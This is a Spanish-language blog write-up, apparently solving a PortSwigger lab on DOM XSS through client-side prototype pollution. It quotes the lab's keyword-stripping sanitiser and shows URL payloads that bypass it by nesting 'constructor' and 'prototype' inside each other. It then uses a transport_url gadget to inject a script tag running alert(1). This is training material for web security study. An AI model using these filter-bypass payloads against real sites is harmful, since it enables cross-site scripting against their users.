DOM XSS via an alternative prototype pollution vector writeup

Descripción

This lab is vulnerable to DOM XSS via client-side prototype pollution. Although the developers have implemented measures to prevent prototype pollution, these can be easily bypassed.

To solve the lab:

  1. Find a source that you can use to add arbitrary properties to the global Object.prototype.
  2. Identify a gadget property that allows you to execute arbitrary JavaScript.
  3. Combine these to call alert().

Client-side prototype pollution via flawed sanitization writeup

Este laboratorio es muy similar al anterior (DOM XSS via client-side prototype pollution). Realizaremos este laboratorio de forma manual, dividiéndolo en varios pasos:

Encontrar cómo hacer el prototype pollution

Esta vez el laboratorio tendrá el siguiente archivo ‘deparamSanitised.js’, cuyo fragmento de código más importante es:

if ( /\[/.test( keys[0] ) && /\]$/.test( keys[ keys_last ] ) ) {
    keys[ keys_last ] = keys[ keys_last ].replace( /\]$/, '' );
    keys = keys.shift().split('[').concat( keys );
    keys_last = keys.length - 1;
} else {
    keys_last = 0;
}

Que se encarga de borrar los ‘[‘ y ‘]’.

También tiene código que se encarga de borrar ‘proto’, ‘prototype’ y ‘constructor’ en ‘searchLoggerFiltered.js’:

function sanitizeKey(key) {
    let badProperties = ['constructor','__proto__','prototype'];
    for(let badProperty of badProperties) {
        key = key.replaceAll(badProperty, '');
    }
    return key;
}

En la URL insertaremos el siguiente código (el de los anteriores laboratorios no funcionarán):

/?constconstructorructor[protoprototypetype][test]=valortest

Para añadir al objeto __proto__ el atributo ‘test’ con el valor ‘valortest’. Si al acceder llamamos al objeto ‘Object.prototype’, veremos que lo hemos inyectado correctamente:

Encontrar qué propiedad modificar

Exploraremos el JavaScript de la página, en el archivo ‘searchLoggerAlternative.js’ existe el siguiente código:

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString())};
    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }
    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}

Este código tomará del objeto ‘config’ la propiedad ‘transport_url’ y, si existe, creará una etiqueta HTML ‘<script>’ con la fuente ‘src’ definida como el valor de ‘transport_url’.

Inyectar el código

Añadiremos a la URL el siguiente fragmento:

/?constconstructorructor[protoprototypetype][transport_url]=data:,alert(1);

Haciendo que se cree el siguiente código HTML en la página:

<script src="data:,alert(1);"></script>

La función de este código es la siguiente:

Al acceder a la URL completaremos el laboratorio:

Nota: También se puede usar ‘/?__pro__proto__to__[transport_url]=data:,alert(1);‘, que es la solución ofrecida por PortSwigger.

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *